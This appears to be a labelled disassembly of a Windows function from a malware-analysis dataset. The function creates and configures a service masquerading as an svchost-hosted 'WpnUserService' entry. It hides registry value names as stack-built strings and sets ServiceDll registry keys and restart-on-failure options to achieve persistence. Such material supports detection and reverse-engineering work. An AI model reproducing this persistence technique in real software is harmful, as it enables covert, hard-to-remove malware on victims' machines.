Function at 0x100051e7
Capabilities:
Create service
Modify service
Persist via windows service
Query or enumerate registry value
Query service status
Set registry value

Disassembly:
sub esp, 0x8ec
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor ebx, ebx
push edi
push 0xf003f
push ebx
push ebx
mov dword [esp + 0x28], ebx
call esi
mov edi, eax
test edi, edi
jne 0x1000521c
push 1
push ebx
push ebx
call esi
mov edi, eax
test edi, edi
je 0x10005898
push 0x53
pop eax
push 0x65
mov word [esp + 0x24], ax
pop eax
push 0x72
pop ecx
push 0x76
mov word [esp + 0x28], cx
pop ecx
push 0x69
mov word [esp + 0x2a], cx
pop ecx
push 0x63
mov word [esp + 0x2c], cx
pop ecx
push 0x44
mov word [esp + 0x26], ax
mov word [esp + 0x30], ax
pop eax
push 0x4c
mov word [esp + 0x32], ax
pop eax
push 0xf01ff
mov word [esp + 0x34], ax
mov word [esp + 0x36], ax
xor eax, eax
push str.WpnUserService_6ac92
push edi
mov word [esp + 0x36], cx
mov word [esp + 0x40], ax
mov dword [esp + 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov esi, eax
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test esi, esi
jne 0x1000573d
cmp dword [0x10026be4], 0
je 0x10005891
mov esi, str.WpnUserService_6ac92
lea eax, [esp + 0x2e0]
push esi
push str.svchost
push str.__SYSTEMROOT___system32_s.exe__k___s_
push eax
call ebx
add esp, 0x10
mov dword [esp + 0x18], eax
xor ecx, ecx
lea eax, [esp + 0x2e0]
push ecx
push ecx
push ecx
push ecx
push ecx
push eax
push ecx
push 2
push 0x20
push 0xf01ff
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
je 0x10005891
xor ecx, ecx
push 3
mov eax, ecx
pop edx
mov dword [esp + eax*8 + 0xac], 1
mov dword [esp + eax*8 + 0xb0], 0x2710
inc eax
cmp eax, edx
jl 0x100052f9
lea eax, [esp + 0xac]
mov dword [esp + 0x98], ecx
mov dword [esp + 0xa8], eax
lea eax, [esp + 0x98]
push eax
push 2
push esi
mov dword [esp + 0xac], ecx
mov dword [esp + 0xa8], ecx
mov dword [esp + 0xb0], edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push 0x1001ef10
push 0
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0xe0]
push str._s_s_c_s
push eax
call ebx
add esp, 0x18
lea eax, [esp + 0x10]
xor ecx, ecx
push ecx
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
lea eax, [esp + 0xec]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x100268c8]
test eax, eax
jne 0x100053c3
push str.WpnUserService_6ac92
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
mov eax, str.WpnUserService_6ac92
push eax
push 7
push 0
push eax
push dword [esp + 0x24]
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.WpnUserService_6ac92
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
lea eax, [esp + 0xe0]
push str._s_s_c_s
push eax
call ebx
add esp, 0x18
lea eax, [esp + 0x10]
xor ecx, ecx
push ecx
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
lea eax, [esp + 0xec]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x100268c8]
test eax, eax
jne 0x10005460
mov ecx, dword [esp + 0x10]
push 4
pop edx
call fcn.10002245
push 4
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x2000
push eax
push 4
push 0
push str.AuthenticationCapabilities
push dword [esp + 0x24]
call ebp
push 4
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 1
push eax
push 4
push 0
push str.CoInitializeSecurityParam
push dword [esp + 0x24]
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x53
pop eax
push 0x65
mov word [esp + 0x3c], ax
pop eax
push 0x72
pop ecx
push 0x76
mov word [esp + 0x40], cx
pop ecx
push 0x69
mov word [esp + 0x42], cx
pop ecx
push 0x63
pop edx
push 0x4d
mov word [esp + 0x3e], ax
mov word [esp + 0x48], ax
pop eax
push 0x61
mov word [esp + 0x4a], ax
pop eax
push 0x6e
mov word [esp + 0x4c], ax
pop eax
push str.Parameters
mov word [esp + 0x50], ax
xor eax, eax
push str.WpnUserService_6ac92
push str.Services_
mov word [esp + 0x5a], ax
lea eax, [esp + 0xdc]
push str.SYSTEMCurrentControlSet_s_s_s
push eax
mov word [esp + 0x54], cx
mov word [esp + 0x56], dx
mov word [esp + 0x5e], cx
call ebx
add esp, 0x14
lea eax, [esp + 0x10]
xor ecx, ecx
push ecx
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
lea eax, [esp + 0xec]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x100268c8]
test eax, eax
jne 0x100056b2
mov ecx, dword [esp + 0x10]
push 4
pop edx
call fcn.10002245
mov eax, dword [0x100268a0]
lea eax, [eax*2 + 2]
push eax
push dword [0x1002689c]
lea eax, [esp + 0x28]
push 2
push 0
push eax
push dword [esp + 0x24]
call ebp
push 0x49
pop eax
push 0x6d
mov word [esp + 0x54], ax
pop eax
push 0x61
pop ecx
push 0x67
mov word [esp + 0x56], ax
pop eax
push 0x65
mov word [esp + 0x5a], ax
pop eax
push 0x50
mov word [esp + 0x5c], ax
pop eax
push 0x74
mov word [esp + 0x5e], ax
pop eax
push 0x68
mov word [esp + 0x62], ax
pop eax
mov word [esp + 0x60], ax
xor eax, eax
mov word [esp + 0x62], ax
mov eax, dword [esp + 0x18]
mov word [esp + 0x54], cx
mov word [esp + 0x5c], cx
lea eax, [eax*2 + 2]
push eax
lea eax, [esp + 0x2e4]
push eax
push 2
push 0
lea eax, [esp + 0x60]
push eax
push dword [esp + 0x24]
call ebp
push 0x1001ff14
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push 0x1001ff14
push 1
push 0
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x24]
call ebp
push 0x53
pop edx
push 0x65
pop eax
push 0x72
pop ecx
push 0x76
mov word [esp + 0x6c], cx
pop ecx
push 0x69
mov word [esp + 0x6e], cx
pop ecx
push 0x63
mov word [esp + 0x70], cx
pop ecx
mov word [esp + 0x64], dx
mov word [esp + 0x66], ax
mov word [esp + 0x6e], cx
push 0x44
mov word [esp + 0x74], ax
pop eax
push 0x6c
pop ecx
push 0x55
mov word [esp + 0x76], ax
pop eax
push 0x6e
mov word [esp + 0x7c], ax
pop eax
push 0x6f
mov word [esp + 0x7e], ax
mov word [esp + 0x78], cx
mov word [esp + 0x7a], cx
mov word [esp + 0x80], cx
pop ecx
push 0x61
pop eax
push 0x64
mov word [esp + 0x84], ax
pop eax
push 0x4f
mov word [esp + 0x86], ax
pop eax
push 0x6e
mov word [esp + 0x88], ax
pop eax
push 0x74
mov word [esp + 0x8a], ax
pop eax
push 0x70
mov word [esp + 0x8e], ax
pop eax
mov word [esp + 0x8e], ax
xor eax, eax
and dword [esp + 0x14], eax
push 4
mov word [esp + 0x94], ax
lea eax, [esp + 0x18]
push eax
push 4
push 0
lea eax, [esp + 0x74]
mov word [esp + 0x8e], cx
push eax
push dword [esp + 0x24]
mov word [esp + 0xa0], dx
mov word [esp + 0xa4], cx
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1001ef10
push str.WpnUserService_6ac92
push str.Services_
lea eax, [esp + 0xdc]
push str.SYSTEMCurrentControlSet_s_s_s
push eax
call ebx
add esp, 0x14
lea eax, [esp + 0x10]
xor ecx, ecx
push ecx
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
lea eax, [esp + 0xec]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x100268c8]
test eax, eax
jne 0x10005733
mov ecx, dword [esp + 0x10]
push 4
pop edx
call fcn.10002245
push 0x1001ff14
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push 0x1001ff14
push 1
push 0
lea eax, [esp + 0x48]
push eax
push dword [esp + 0x24]
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
pop edx
mov ecx, esi
call fcn.10002245
push str.Parameters
push str.WpnUserService_6ac92
push str.Services_
lea eax, [esp + 0xdc]
mov dword [esp + 0x28], 1
push str.SYSTEMCurrentControlSet_s_s_s
push eax
call ebx
add esp, 0x14
lea eax, [esp + 0x10]
xor ecx, ecx
push ecx
push eax
push ecx
push 0xf023f
push ecx
push ecx
push ecx
lea eax, [esp + 0xec]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [0x100268c8]
mov ebx, dword [sym.imp.NTDLL.dll_RtlZeroMemory]
test eax, eax
jne 0x10005822
push 0x20a
lea eax, [esp + 0xd4]
push eax
call ebx
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x20a
push eax
lea eax, [esp + 0xd4]
mov dword [esp + 0x18], 2
push eax
lea eax, [esp + 0x1c]
push eax
push 0
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100057f6
push dword [0x1002689c]
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10005818
mov eax, dword [0x100268a0]
lea eax, [eax*2 + 2]
push eax
push dword [0x1002689c]
lea eax, [esp + 0x28]
push 2
push 0
push eax
push dword [esp + 0x24]
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x24
lea eax, [esp + 0xb0]
push eax
call ebx
lea eax, [esp + 0x94]
xor ebx, ebx
push eax
push 0x24
lea eax, [esp + 0xb4]
mov dword [esp + 0x9c], ebx
push eax
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1000585f
cmp dword [esp + 0xb0], 4
je 0x1000588a
cmp dword [0x10026be4], ebx
je 0x1000587f
cmp dword [0x10026b00], ebx
je 0x1000587f
mov dword [esp + 0x18], 0x1001ff2c
lea edx, [esp + 0x18]
push 1
jmp 0x10005882
push ebx
xor edx, edx
mov ecx, esi
call fcn.10005b30
pop ecx
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8ec
ret